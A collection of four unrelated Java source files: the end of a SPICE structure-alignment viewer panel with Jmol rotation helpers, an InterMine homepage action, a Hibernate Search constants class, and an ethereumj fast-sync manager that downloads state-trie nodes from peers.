} catch (NoSuchElementException e){}
if ( details != null) {
Iterator iter = details.iterator();
while ( iter.hasNext()) {
Annotation d = (Annotation) iter.next();
String prop = (String) d.getProperty("property");
if ( prop.equals(MenuAlignmentListener.filterProperty))
continue;
String det = (String) d.getProperty("detail");
if (! tooltip.equals(""))
tooltip += " | ";
tooltip += prop + " " + det;
}
}
return tooltip;
}
/** return true if it should be displayed
*
* @param object
* @param filterBy
* @return flag if is visible or not
*/
private boolean isVisibleAfterFilter(Annotation object, String filterBy){
boolean show = true;
if ( filterBy == null)
return true;
if ( filterBy.equalsIgnoreCase(MenuAlignmentListener.showAllObjects))
return true;
List details = (List) object.getProperty("details");
Iterator iter = details.iterator();
while ( iter.hasNext()) {
Annotation d = (Annotation) iter.next();
String prop = (String) d.getProperty("property");
if (! prop.equals(MenuAlignmentListener.filterProperty))
continue;
String det = (String) d.getProperty("detail");
if (! det.equalsIgnoreCase(filterBy)){
return false;
}
}
return show;
}
public void setStructureAlignment(StructureAlignment ali){
structureAlignment = ali;
//logger.info("got new structure alignment");
if ( (ali != null) && ( ali.getIds().length > 0) )
System.setProperty("SPICE:drawStructureRegion","true");
clearButtons();
if ( ali == null) {
clearButtons();
repaint();
return;
}
updateMenuItems();
AlignmentSortPopup sorter = new AlignmentSortPopup(ali,this, sortReverse);
Annotation[] objects = structureAlignment.getAlignment().getObjects();
boolean[] selectedArr = ali.getSelection();
String[] ids = ali.getIds();
Color background = getBackground();
int displayPosition = 1;
for ( int i=0; i< ids.length;i++){
String id = ids[i];
Color col = structureAlignment.getColor(i);
if ( ( i == 0 ) || (structureAlignment.isSelected(i))){
UIManager.put("CheckBox.background", col);
UIManager.put("CheckBox.interiorBackground", col);
UIManager.put("CheckBox.highlite", col);
} else {
UIManager.put("CheckBox.background", background);
UIManager.put("CheckBox.interiorBackground", background);
UIManager.put("CheckBox.highlite", background);
}
JCheckBox b = new JCheckBox(displayPosition+" "+id);
b.addMouseListener(sorter);
// get tooltip
String tooltip = getButtonTooltip(objects[i]);
boolean doShow = isVisibleAfterFilter(objects[i],structureAlignment.getFilterBy());
if ( ! doShow) {
b.setVisible(false);
} else {
displayPosition++;
}
b.setToolTipText(tooltip);
boolean selected = false;
if (selectedArr[i]) {
selected = true;
// always show selected / even if filtered out!
if ( ! b.isVisible())
displayPosition++;
b.setVisible(true);
}
if ( i == 0) {
selected = true;
referenceStructure = 0;
structureAlignment.select(0);
System.setProperty("SPICE:StructureRegionColor",new Integer(col.getRGB()).toString());
try {
structureAlignment.getStructure(i);
} catch (StructureException e){
selected = false;
};
}
b.setSelected(selected);
vBox.add(b);
checkButtons.add(b);
b.addItemListener(this);
}
// update the structure alignment in the structure display.
Structure newStruc = structureAlignment.createArtificalStructure();
// execute Rasmol cmd...
String cmd = structureAlignment.getRasmolScript();
if ( newStruc.size() < 1)
return;
StructureEvent event = new StructureEvent(newStruc);
Iterator iter2 = structureListeners.iterator();
while (iter2.hasNext()){
StructureListener li = (StructureListener)iter2.next();
li.newStructure(event);
if ( li instanceof StructurePanelListener){
StructurePanelListener pli = (StructurePanelListener)li;
pli.executeCmd(cmd);
}
}
repaint();
}
/** recalculate the displayed alignment. e.g. can be called after toggle full structure
*
*
*/
public void recalcAlignmentDisplay() {
if (structureAlignment.getNrStructures() ==0)
return;
logger.info("recalculating the alignment display");
Structure newStruc = structureAlignment.createArtificalStructure(referenceStructure);
String cmd = structureAlignment.getRasmolScript(referenceStructure);
StructureEvent event = new StructureEvent(newStruc);
Iterator iter2 = structureListeners.iterator();
while (iter2.hasNext()){
StructureListener li = (StructureListener)iter2.next();
li.newStructure(event);
if ( li instanceof StructurePanelListener){
StructurePanelListener pli = (StructurePanelListener)li;
pli.executeCmd(cmd);
}
}
}
protected List getCheckBoxes() {
return checkButtons;
}
private void repaintBox(JCheckBox box, int pos, Color backgroundColor) {
Color col = backgroundColor;
UIManager.put("CheckBox.background", col);
UIManager.put("CheckBox.interiorBackground", col);
UIManager.put("CheckBox.highlite", col);
box.setBackground(col);
box.repaint();
}
/** a checkbox has been clicked - update the 3D display
*
* @param box
* @param e
* @param i
*/
private void updateBox( JCheckBox box, ItemEvent e, int i) {
String[] ids = structureAlignment.getIds();
String id = ids[i];
//System.out.println("do something with " + id);
if (e.getStateChange() == ItemEvent.DESELECTED) {
// remove structure from alignment
structureAlignment.deselect(i);
box.setBackground(this.getBackground());
box.repaint();
// display the first one that is selected
// set the color to that one
//int j = structureAlignment.getFirstSelectedPos();
int j = structureAlignment.getLastSelectedPos();
if ( j > -1) {
Color col = structureAlignment.getColor(j);
System.setProperty("SPICE:StructureRegionColor",new Integer(col.getRGB()).toString());
}
referenceStructure = j;
} else {
structureAlignment.select(i);
// add structure to alignment
Color col = structureAlignment.getColor(i);
System.setProperty("SPICE:StructureRegionColor",new Integer(col.getRGB()).toString());
repaintBox(box,i,col);
// check if we can get the structure...
Structure struc = null;
try {
struc = structureAlignment.getStructure(i);
referenceStructure = i;
if ( struc.size() > 0) {
Chain c1 = struc.getChain(0);
String sequence = c1.getSequence();
String ac = id + "." + c1.getName();
SequenceEvent sevent = new SequenceEvent(ac,sequence);
Iterator iter3 = pdbSequenceListeners.iterator();
while (iter3.hasNext()){
SequenceListener li = (SequenceListener)iter3.next();
li.newSequence(sevent);
}
} else {
logger.warning("could not load structure at position " +i );
box.setSelected(false);
}
} catch (StructureException ex){
ex.printStackTrace();
structureAlignment.deselect(i);
//return;
box.setSelected(false);
}
}
Matrix jmolRotation = getJmolRotation();
Structure newStruc = null;
// execute Rasmol cmd...
String cmd = null;
// update the structure alignment in the structure display.
if (e.getStateChange() == ItemEvent.DESELECTED) {
newStruc = structureAlignment.createArtificalStructure();
cmd = structureAlignment.getRasmolScript();
}
else {
newStruc = structureAlignment.createArtificalStructure(i);
cmd = structureAlignment.getRasmolScript(i);
}
// if ( newStruc != null){
// if ( jmolRotation != null){
// Structure clonedStruc = (Structure) newStruc.clone();
// Calc.rotate(clonedStruc,jmolRotation);
// newStruc = clonedStruc;
StructureEvent event = new StructureEvent(newStruc);
Iterator iter2 = structureListeners.iterator();
while (iter2.hasNext()){
StructureListener li = (StructureListener)iter2.next();
li.newStructure(event);
if ( li instanceof StructurePanelListener){
StructurePanelListener pli = (StructurePanelListener)li;
pli.executeCmd(cmd);
}
}
rotateJmol(jmolRotation);
}
public void itemStateChanged(ItemEvent e) {
Object source = e.getItemSelectable();
Iterator iter = checkButtons.iterator();
int i=-1;
while (iter.hasNext()){
i++;
Object o = iter.next();
JCheckBox box =(JCheckBox)o;
if ( o.equals(source)){
updateBox(box, e,i);
} else {
Color col = null;
if ( structureAlignment.isSelected(i))
col = structureAlignment.getColor(i);
else
col = this.getBackground();
repaintBox(box,i,col);
}
}
}
public void rotateJmol(Matrix jmolRotation) {
if ( structurePanel != null){
if ( jmolRotation != null) {
double[] zyz = getZYZEuler(jmolRotation);
String script = "reset; rotate z "+zyz[0] +"; rotate y " + zyz[1] +"; rotate z"+zyz[2]+";";
structurePanel.executeCmd(script);
/*structurePanel.executeCmd("show orientation");
JmolViewer viewer = structurePanel.getViewer();
System.out.println("rotating jmol ... " + script);
viewer.homePosition();
viewer.rotateToZ(Math.round(zyz[0]));
viewer.rotateToY(Math.round(zyz[1]));
viewer.rotateToZ(Math.round(zyz[2]));
*/
}
}
}
/** get the rotation out of Jmol
*
* @return the jmol rotation matrix
*/
public Matrix getJmolRotation(){
Matrix jmolRotation = null;
if ( structurePanel != null){
//structurePanel.executeCmd("show orientation;");
JmolViewer jmol = structurePanel.getViewer();
Object obj = jmol.getProperty(null,"transformInfo","");
//System.out.println(obj);
if ( obj instanceof Matrix3f ) {
Matrix3f max = (Matrix3f) obj;
jmolRotation = new Matrix(3,3);
for (int x=0; x<3;x++) {
for (int y=0 ; y<3;y++){
float val = max.getElement(x,y);
//System.out.println("x " + x + " y " + y + " " + val);
jmolRotation.set(x,y,val);
}
}
}
}
return jmolRotation;
}
// TODO: move this to calc?
public static double[] getXYZEuler(Matrix m){
double heading, attitude, bank;
// Assuming the angles are in radians.
if (m.get(1,0) > 0.998) { // singularity at north pole
heading = Math.atan2(m.get(0,2),m.get(2,2));
attitude = Math.PI/2;
bank = 0;
} else if (m.get(1,0) < -0.998) { // singularity at south pole
heading = Math.atan2(m.get(0,2),m.get(2,2));
attitude = -Math.PI/2;
bank = 0;
} else {
heading = Math.atan2(-m.get(2,0),m.get(0,0));
bank = Math.atan2(-m.get(1,2),m.get(1,1));
attitude = Math.asin(m.get(1,0));
}
return new double[] { heading, attitude, bank };
}
/** get euler angles for a matrix given in ZYZ convention
*
* @param m
* @return the euler values for a rotation around Z, Y, Z in degrees...
*/
public static double[] getZYZEuler(Matrix m) {
double m22 = m.get(2,2);
double rY = (float) Math.acos(m22) * degreesPerRadian;
double rZ1, rZ2;
if (m22 > .999d || m22 < -.999d) {
rZ1 = (double) Math.atan2(m.get(1,0), m.get(1,1)) * degreesPerRadian;
rZ2 = 0;
} else {
rZ1 = (double) Math.atan2(m.get(2,1), -m.get(2,0)) * degreesPerRadian;
rZ2 = (double) Math.atan2(m.get(1,2), m.get(0,2)) * degreesPerRadian;
}
return new double[] {rZ1,rY,rZ2};
}
public static Matrix matrixFromEuler(double heading, double attitude, double bank) {
// Assuming the angles are in radians.
double ch = Math.cos(heading);
double sh = Math.sin(heading);
double ca = Math.cos(attitude);
double sa = Math.sin(attitude);
double cb = Math.cos(bank);
double sb = Math.sin(bank);
Matrix m = new Matrix(3,3);
m.set(0,0, ch * ca);
m.set(0,1, sh*sb - ch*sa*cb);
m.set(0,2, ch*sa*sb + sh*cb);
m.set(1,0, sa);
m.set(1,1, ca*cb);
m.set(1,2, -ca*sb);
m.set(2,0, -sh*ca);
m.set(2,1, sh*sa*cb + ch*sb);
m.set(2,2, -sh*sa*sb + ch*cb);
return m;
}
}
class MyKeyListener extends KeyAdapter {
StructureAlignmentChooser chooser;
public MyKeyListener(StructureAlignmentChooser chooser){
this.chooser = chooser;
}
public void keyPressed(KeyEvent evt) {
JTextField txt = (JTextField) evt.getSource();
char ch = evt.getKeyChar();
String search = txt.getText();
// If a printable character add to search text
if (ch != KeyEvent.CHAR_UNDEFINED) {
if ( ch != KeyEvent.VK_ENTER )
if ( ch != KeyEvent.VK_HOME )
search += ch;
}
//System.out.println("search text: " + search);
StructureAlignment ali = chooser.getStructureAlignment();
String[] ids = ali.getIds();
if ( search.equals("")){
search = "no search provided";
}
Border b = BorderFactory.createMatteBorder(3,3,3,3,Color.blue);
List checkBoxes = chooser.getCheckBoxes();
boolean firstFound = false;
JScrollPane scroller = chooser.getScroller();
int h = 0;
for (int i=0; i <ids.length;i++){
JCheckBox box = (JCheckBox) checkBoxes.get(i);
if ( ids[i].indexOf(search) > -1) {
// this is the selected label
//System.out.println("selected label " + ids[i]);
box.setBorder(b);
box.setBorderPainted(true);
if ( ! firstFound ) {
// scroll to this position
if ( scroller != null){
scroller.getViewport().setViewPosition(new Point (0,h));
}
}
firstFound = true;
} else {
// clear checkbutton
box.setBorderPainted(false);
}
box.repaint();
h+= box.getHeight();
}
if (! firstFound) {
if ( ( search.length() > 0) && (ch != KeyEvent.CHAR_UNDEFINED) ) {
if (! (ch == KeyEvent.VK_BACK_SPACE)) {
Toolkit.getDefaultToolkit().beep();
}
}
}
}
}
|
package org.intermine.web.struts;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import javax.servlet.ServletContext;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.action.ActionMessage;
import org.intermine.api.InterMineAPI;
import org.intermine.api.bag.BagManager;
import org.intermine.api.profile.Profile;
import org.intermine.api.profile.TagManager;
import org.intermine.api.tag.TagNames;
import org.intermine.api.template.ApiTemplate;
import org.intermine.api.template.TemplateManager;
import org.intermine.model.userprofile.Tag;
import org.intermine.util.PropertiesUtil;
import org.intermine.util.TypeUtil;
import org.intermine.web.logic.Constants;
import org.intermine.web.logic.session.SessionMethods;
/**
* Prepare templates and news to be rendered on home page
*
* @author Tom Riley
*/
public class BeginAction extends InterMineAction
{
private static final Integer MAX_TEMPLATES = new Integer(8);
/**
* @LinkedHashMap stores tabs of popular templates on the homepage
*/
private static LinkedHashMap<String, HashMap<String, Object>> bagOfTabs;
/**
* Either display the query builder or redirect to project.sitePrefix.
*
* @param mapping The ActionMapping used to select this instance
* @param form The optional ActionForm bean for this request (if any)
* @param request The HTTP request we are processing
* @param response The HTTP response we are creating
* @return an ActionForward object defining where control goes next
* @exception Exception if the application business logic throws an exception
*/
public ActionForward execute(ActionMapping mapping,
ActionForm form,
HttpServletRequest request,
HttpServletResponse response)
throws Exception {
HttpSession session = request.getSession();
ServletContext servletContext = session.getServletContext();
Map<String, String> errorKeys = SessionMethods.getErrorOnInitialiser(servletContext);
if (errorKeys != null && !errorKeys.isEmpty()) {
for (String errorKey : errorKeys.keySet()) {
recordError(new ActionMessage(errorKey, errorKeys.get(errorKey)), request);
}
return mapping.findForward("blockingError");
}
final InterMineAPI im = SessionMethods.getInterMineAPI(session);
Properties properties = SessionMethods.getWebProperties(servletContext);
// if user was just building a template, remove. See #2619
session.removeAttribute(Constants.NEW_TEMPLATE);
// If GALAXY_URL is sent from a Galaxy server, then save it in the session; if not, read
// the default value from web.properties and save it in the session
if ("false".equals(properties.getProperty("galaxy.display"))) {
if (request.getParameter("GALAXY_URL") != null) {
String disabledMsg = properties.getProperty("galaxy.disabledMessage");
SessionMethods.recordError(disabledMsg, session);
}
} else {
if (request.getParameter("GALAXY_URL") != null) {
request.getSession().setAttribute("GALAXY_URL",
request.getParameter("GALAXY_URL"));
String welcomeMsg = properties.getProperty("galaxy.welcomeMessage");
SessionMethods.recordMessage(welcomeMsg, session);
} else {
request.getSession().setAttribute(
"GALAXY_URL",
properties.getProperty("galaxy.baseurl.default")
+ properties.getProperty("galaxy.url.value"));
}
}
List<ApiTemplate> templates = null;
//get begin/homepage popular templates in tabs
Properties props = PropertiesUtil.getPropertiesStartingWith("begin.tabs", properties);
if (props.size() != 0) {
props = PropertiesUtil.stripStart("begin.tabs", props);
int i = 1;
// init
bagOfTabs = new LinkedHashMap<String, HashMap<String, Object>>();
while (true) {
if (props.containsKey(i + ".id")) {
LinkedHashMap<String, Object> tab = new LinkedHashMap<String, Object>();
String identifier;
// identifier, has to be present
identifier = (String) props.get(i + ".id");
tab.put("identifier", identifier);
// (optional) description
tab.put("description", props.containsKey(i + ".description")
? (String) props.get(i + ".description") : "");
tab.put("description", props.containsKey(i + ".description")
? (String) props.get(i + ".description") : "");
// (optional) custom name, otherwise use identifier
tab.put("name", props.containsKey(i + ".name")
? (String) props.get(i + ".name") : identifier);
// fetch the actual template queries
TemplateManager tm = im.getTemplateManager();
Profile profile = SessionMethods.getProfile(session);
if (profile.isLoggedIn()) {
templates = tm.getPopularTemplatesByAspect(
TagNames.IM_ASPECT_PREFIX + identifier,
MAX_TEMPLATES, profile.getUsername(),
session.getId());
} else {
templates = tm.getPopularTemplatesByAspect(
TagNames.IM_ASPECT_PREFIX + identifier,
MAX_TEMPLATES);
}
if (templates.size() > MAX_TEMPLATES) {
templates = templates.subList(0, MAX_TEMPLATES);
}
tab.put("templates", templates);
bagOfTabs.put(Integer.toString(i), tab);
i++;
} else {
break;
}
}
}
request.setAttribute("tabs", bagOfTabs);
// preferred bags (Gucci)
List<String> preferredBags = new LinkedList<String>();
TagManager tagManager = im.getTagManager();
List<Tag> preferredBagTypeTags = tagManager.getTags(
"im:preferredBagType", null, "class", im.getProfileManager().getSuperuser());
for (Tag tag : preferredBagTypeTags) {
preferredBags.add(TypeUtil.unqualifiedName(tag.getObjectIdentifier()));
}
Collections.sort(preferredBags);
request.setAttribute("preferredBags", preferredBags);
// frontpage bags/lists
BagManager bm = im.getBagManager();
List<String> requiredTags = new ArrayList<String>();
requiredTags.add("im:frontpage");
requiredTags.add("im:public");
request.setAttribute("frontpageBags", bm.orderBags(bm.getGlobalBagsWithTags(requiredTags)));
// cookie business
if (!hasUserVisited(request)) {
// set cookie
setUserVisitedCookie(response);
// first visit
request.setAttribute("isNewUser", Boolean.TRUE);
} else {
request.setAttribute("isNewUser", Boolean.FALSE);
}
return mapping.findForward("begin");
}
/**
* Determine if this page has been visited before using a cookie
* @param request HTTP Servlet Request
* @return true if page has been visited
*/
private boolean hasUserVisited(HttpServletRequest request) {
Cookie[] cookies = request.getCookies();
if (cookies == null) {
return false;
}
for (int i = 0; i < cookies.length; i++) {
Cookie cookie = cookies[i];
if ("visited".equals(cookie.getName())) {
return true;
}
}
return false;
}
/**
* Set a cookie by visiting this page
* @param response HTTP Servlet Response
* @return response HTTP Servlet Response
*/
private HttpServletResponse setUserVisitedCookie(HttpServletResponse response) {
Cookie cookie = new Cookie("visited", "at some point...");
// see you in a year
cookie.setMaxAge(365 * 24 * 60 * 60);
response.addCookie(cookie);
return response;
}
}
|
package fr.openwide.core.hibernate.search.util;
public class HibernateSearchAnalyzer {
public static final String TEXT = "text";
public static final String TEXT_SORT = "textSort";
public static final String KEYWORD = "keyword";
private HibernateSearchAnalyzer() {
}
}
|
package org.ethereum.sync;
import com.google.common.util.concurrent.FutureCallback;
import com.google.common.util.concurrent.Futures;
import com.google.common.util.concurrent.ListenableFuture;
import org.apache.commons.lang3.tuple.Pair;
import org.ethereum.config.CommonConfig;
import org.ethereum.config.SystemProperties;
import org.ethereum.core.*;
import org.ethereum.crypto.HashUtil;
import org.ethereum.datasource.Flushable;
import org.ethereum.datasource.HashMapDB;
import org.ethereum.datasource.KeyValueDataSource;
import org.ethereum.db.IndexedBlockStore;
import org.ethereum.net.client.Capability;
import org.ethereum.net.eth.handler.Eth63;
import org.ethereum.net.message.ReasonCode;
import org.ethereum.net.rlpx.discover.NodeHandler;
import org.ethereum.net.server.Channel;
import org.ethereum.net.server.ChannelManager;
import org.ethereum.util.*;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.spongycastle.util.encoders.Hex;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.context.annotation.Lazy;
import org.springframework.stereotype.Component;
import javax.annotation.PostConstruct;
import java.util.*;
import java.util.concurrent.*;
import static org.ethereum.util.CompactEncoder.hasTerminator;
@Component
public class FastSyncManager {
private final static Logger logger = LoggerFactory.getLogger("sync");
private final static long REQUEST_TIMEOUT = 5 * 1000;
private final static int REQUEST_MAX_NODES = 512;
private final static int NODE_QUEUE_BEST_SIZE = 100_000;
private final static int MIN_PEERS_FOR_PIVOT_SELECTION = 5;
private final static int FORCE_SYNC_TIMEOUT = 60 * 1000;
private static final Capability ETH63_CAPABILITY = new Capability(Capability.ETH, (byte) 63);
@Autowired
private SystemProperties config;
@Autowired
private SyncPool pool;
@Autowired
private BlockchainImpl blockchain;
@Autowired
private IndexedBlockStore blockStore;
@Autowired
private SyncManager syncManager;
@Autowired
@Qualifier("stateDS")
KeyValueDataSource stateDS = new HashMapDB();
@Autowired
FastSyncDownloader downloader;
int nodesInserted = 0;
private ScheduledExecutorService logExecutor = Executors.newSingleThreadScheduledExecutor();
private BlockingQueue<TrieNodeRequest> dbWriteQueue = new LinkedBlockingQueue<>();
void init() {
new Thread("FastSyncDBWriter") {
@Override
public void run() {
try {
while (true) {
TrieNodeRequest request = dbWriteQueue.take();
stateDS.put(request.nodeHash, request.response);
}
} catch (Exception e) {
logger.error("Fatal FastSync error while writing data", e);
}
}
}.start();
new Thread("FastSyncLoop") {
@Override
public void run() {
try {
main();
} catch (Exception e) {
logger.error("Fatal FastSync loop error", e);
}
}
}.start();
}
enum TrieNodeType {
STATE,
STORAGE,
CODE
}
private class TrieNodeRequest {
TrieNodeType type;
byte[] nodeHash;
byte[] response;
long timestamp;
int reqCount;
TrieNodeRequest(TrieNodeType type, byte[] nodeHash) {
this.type = type;
this.nodeHash = nodeHash;
}
List<TrieNodeRequest> createChildRequests() {
if (type == TrieNodeType.CODE) {
return Collections.emptyList();
}
List<Object> node = Value.fromRlpEncoded(response).asList();
List<TrieNodeRequest> ret = new ArrayList<>();
if (type == TrieNodeType.STATE) {
if (node.size() == 2 && hasTerminator((byte[]) node.get(0))) {
byte[] nodeValue = (byte[]) node.get(1);
AccountState state = new AccountState(nodeValue);
if (!FastByteComparisons.equal(HashUtil.EMPTY_DATA_HASH, state.getCodeHash())) {
ret.add(new TrieNodeRequest(TrieNodeType.CODE, state.getCodeHash()));
}
if (!FastByteComparisons.equal(HashUtil.EMPTY_TRIE_HASH, state.getStateRoot())) {
ret.add(new TrieNodeRequest(TrieNodeType.STORAGE, state.getStateRoot()));
}
return ret;
}
}
List<byte[]> childHashes = getChildHashes(node);
for (byte[] childHash : childHashes) {
ret.add(new TrieNodeRequest(type, childHash));
}
return ret;
}
public void reqSent() {
timestamp = System.currentTimeMillis();
reqCount++;
}
@Override
public String toString() {
return "TrieNodeRequest{" +
"type=" + type +
", nodeHash=" + Hex.toHexString(nodeHash) +
'}';
}
}
private static List<byte[]> getChildHashes(List<Object> siblings) {
List<byte[]> ret = new ArrayList<>();
if (siblings.size() == 2) {
Value val = new Value(siblings.get(1));
if (val.isHashCode() && !hasTerminator((byte[]) siblings.get(0)))
ret.add(val.asBytes());
} else {
for (int j = 0; j < 16; ++j) {
Value val = new Value(siblings.get(j));
if (val.isHashCode())
ret.add(val.asBytes());
}
}
return ret;
}
Deque<TrieNodeRequest> nodesQueue = new LinkedBlockingDeque<>();
ByteArrayMap<TrieNodeRequest> pendingNodes = new ByteArrayMap<>();
ByteArraySet knownHashes = new ByteArraySet();
synchronized void processTimeouts() {
long cur = System.currentTimeMillis();
for (TrieNodeRequest request : new ArrayList<>(pendingNodes.values())) {
if (cur - request.timestamp > REQUEST_TIMEOUT) {
pendingNodes.remove(request.nodeHash);
nodesQueue.addFirst(request);
}
}
}
synchronized void processResponse(TrieNodeRequest req) {
dbWriteQueue.add(req);
knownHashes.remove(req.nodeHash);
nodesInserted++;
for (TrieNodeRequest childRequest : req.createChildRequests()) {
if (!knownHashes.contains(childRequest.nodeHash) && stateDS.get(childRequest.nodeHash) == null) {
if (nodesQueue.size() > NODE_QUEUE_BEST_SIZE) {
// reducing queue by traversing tree depth-first
nodesQueue.addFirst(childRequest);
} else {
// enlarging queue by traversing tree breadth-first
nodesQueue.add(childRequest);
}
knownHashes.add(childRequest.nodeHash);
}
}
}
boolean requestNextNodes(int cnt) {
final Channel idle = pool.getAnyIdle();
if (idle != null) {
final List<byte[]> hashes = new ArrayList<>();
final List<TrieNodeRequest> requestsSent = new ArrayList<>();
synchronized (this) {
for (int i = 0; i < cnt && !nodesQueue.isEmpty(); i++) {
TrieNodeRequest req = nodesQueue.poll();
req.reqSent();
hashes.add(req.nodeHash);
requestsSent.add(req);
pendingNodes.put(req.nodeHash, req);
}
}
if (hashes.size() > 0) {
logger.trace("Requesting " + hashes.size() + " nodes from peer: " + idle);
ListenableFuture<List<Pair<byte[], byte[]>>> nodes = ((Eth63) idle.getEthHandler()).requestTrieNodes(hashes);
final long reqTime = System.currentTimeMillis();
Futures.addCallback(nodes, new FutureCallback<List<Pair<byte[], byte[]>>>() {
@Override
public void onSuccess(List<Pair<byte[], byte[]>> result) {
try {
synchronized (FastSyncManager.this) {
logger.trace("Received " + result.size() + " nodes (of " + hashes.size() + ") from peer: " + idle);
for (Pair<byte[], byte[]> pair : result) {
TrieNodeRequest request = pendingNodes.remove(pair.getKey());
if (request == null) {
long t = System.currentTimeMillis();
logger.debug("Received node which was not requested: " + Hex.toHexString(pair.getKey()) + " from " + idle);
return;
}
request.response = pair.getValue();
processResponse(request);
}
FastSyncManager.this.notifyAll();
idle.getNodeStatistics().eth63NodesRequested.add(hashes.size());
idle.getNodeStatistics().eth63NodesReceived.add(result.size());
idle.getNodeStatistics().eth63NodesRetrieveTime.add(System.currentTimeMillis() - reqTime);
}
} catch (Exception e) {
logger.error("Unexpected error processing nodes", e);
}
}
@Override
public void onFailure(Throwable t) {
logger.warn("Error with Trie Node request: " + t);
synchronized (FastSyncManager.this) {
for (byte[] hash : hashes) {
nodesQueue.addFirst(pendingNodes.get(hash));
}
FastSyncManager.this.notifyAll();
}
}
});
return true;
} else {
return false;
}
} else {
return false;
}
}
void retrieveLoop() {
try {
while (!nodesQueue.isEmpty() || !pendingNodes.isEmpty()) {
try {
processTimeouts();
while (requestNextNodes(REQUEST_MAX_NODES)) ;
synchronized (this) {
wait(10);
}
logStat();
} catch (InterruptedException e) {
throw e;
} catch (Throwable t) {
logger.error("Error", t);
}
}
} catch (InterruptedException e) {
logger.warn("Main fast sync loop was interrupted", e);
}
}
long last = 0;
long lastNodeCount = 0;
private void logStat() {
long cur = System.currentTimeMillis();
if (cur - last > 5000) {
logger.info("FastSync: received: " + nodesInserted + ", known: " + nodesQueue.size() + ", pending: " + pendingNodes.size()
+ String.format(", nodes/sec: %1$.2f", 1000d * (nodesInserted - lastNodeCount) / (cur - last)));
last = cur;
lastNodeCount = nodesInserted;
}
}
public void main() {
if (blockchain.getBestBlock().getNumber() == 0) {
startLogWorker();
BlockHeader pivot = getPivotBlock();
pool.setNodesSelector(new Functional.Predicate<NodeHandler>() {
@Override
public boolean test(NodeHandler handler) {
if ((handler.getNodeStatistics().getClientId().contains("Parity") ||
handler.getNodeStatistics().getClientId().contains("parity")))
return false;
if (!handler.getNodeStatistics().capabilities.contains(ETH63_CAPABILITY))
return false;
return true;
}
});
byte[] pivotStateRoot = pivot.getStateRoot();
TrieNodeRequest request = new TrieNodeRequest(TrieNodeType.STATE, pivotStateRoot);
nodesQueue.add(request);
logger.info("FastSync: downloading state trie at pivot block: " + pivot.getShortDescr());
stateDS.put(CommonConfig.FASTSYNC_DB_KEY, new byte[]{1});
retrieveLoop();
stateDS.delete(CommonConfig.FASTSYNC_DB_KEY);
logger.info("FastSync: state trie download complete!");
last = 0;
logStat();
if (stateDS instanceof Flushable) {
((Flushable) stateDS).flush();
}
pool.setNodesSelector(null);
logger.info("FastSync: starting downloading ancestors of the pivot block: " + pivot.getShortDescr());
downloader.startImporting(pivot.getHash());
while (downloader.getDownloadedBlocksCount() < 256) {
// we need 256 previous blocks to correctly execute BLOCKHASH EVM instruction
try {
Thread.sleep(100);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
logger.info("FastSync: downloaded more than 256 ancestor blocks, proceeding with live sync");
blockchain.setBestBlock(blockStore.getBlockByHash(pivot.getHash()));
} else {
logger.info("FastSync: current best block is > 0 (" + blockchain.getBestBlock().getShortDescr() + "). " +
"Continue with regular sync...");
}
syncManager.initRegularSync();
// set indicator that we can send [STATUS] with the latest block
// before we should report best block
}
private BlockHeader getPivotBlock() {
byte[] pivotBlockHash = config.getFastSyncPivotBlockHash();
long pivotBlockNumber = 0;
long start = System.currentTimeMillis();
long s = start;
if (pivotBlockHash != null) {
logger.info("FastSync: fetching trusted pivot block with hash " + Hex.toHexString(pivotBlockHash));
} else {
logger.info("FastSync: looking for best block number...");
BlockIdentifier bestKnownBlock;
while (true) {
List<Channel> allIdle = pool.getAllIdle();
if (allIdle.size() >= MIN_PEERS_FOR_PIVOT_SELECTION
|| (System.currentTimeMillis() - start > FORCE_SYNC_TIMEOUT)) {
Channel bestPeer = allIdle.get(0);
for (Channel channel : allIdle) {
if (bestPeer.getEthHandler().getBestKnownBlock().getNumber() < channel.getEthHandler().getBestKnownBlock().getNumber()) {
bestPeer = channel;
}
}
bestKnownBlock = bestPeer.getEthHandler().getBestKnownBlock();
if (bestKnownBlock.getNumber() > 1000) {
logger.info("FastSync: best block " + bestKnownBlock + " found with peer " + bestPeer);
break;
}
}
long t = System.currentTimeMillis();
if (t - s > 5000) {
logger.info("FastSync: waiting for at least " + MIN_PEERS_FOR_PIVOT_SELECTION + " peers to select pivot block... ("
+ allIdle.size() + " peers so far)");
s = t;
}
try {
Thread.sleep(500);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
pivotBlockNumber = bestKnownBlock.getNumber() - 500;
logger.info("FastSync: fetching pivot block #" + pivotBlockNumber);
}
try {
while (true) {
Channel bestIdle = pool.getAnyIdle();
if (bestIdle != null) {
try {
ListenableFuture<List<BlockHeader>> future = pivotBlockHash == null ?
bestIdle.getEthHandler().sendGetBlockHeaders(pivotBlockNumber, 1, false) :
bestIdle.getEthHandler().sendGetBlockHeaders(pivotBlockHash, 1, 0, false);
List<BlockHeader> blockHeaders = future.get(3, TimeUnit.SECONDS);
if (!blockHeaders.isEmpty()) {
BlockHeader ret = blockHeaders.get(0);
if (pivotBlockHash != null && !FastByteComparisons.equal(pivotBlockHash, ret.getHash())) {
logger.warn("Peer " + bestIdle + " returned pivot block with another hash: " +
Hex.toHexString(ret.getHash()) + " Dropping the peer.");
bestIdle.disconnect(ReasonCode.USELESS_PEER);
continue;
}
logger.info("Pivot header fetched: " + ret.getShortDescr());
return ret;
}
} catch (TimeoutException e) {
logger.debug("Timeout waiting for answer", e);
}
}
long t = System.currentTimeMillis();
if (t - s > 5000) {
logger.info("FastSync: waiting for a peer to fetch pivot block...");
s = t;
}
Thread.sleep(500);
}
} catch (Exception e) {
logger.error("Unexpected", e);
throw new RuntimeException(e);
}
}
private void startLogWorker() {
logExecutor.scheduleWithFixedDelay(new Runnable() {
@Override
public void run() {
try {
pool.logActivePeers();
logger.info("\n");
} catch (Throwable t) {
t.printStackTrace();
logger.error("Exception in log worker", t);
}
}
}, 30, 30, TimeUnit.SECONDS);
}
}
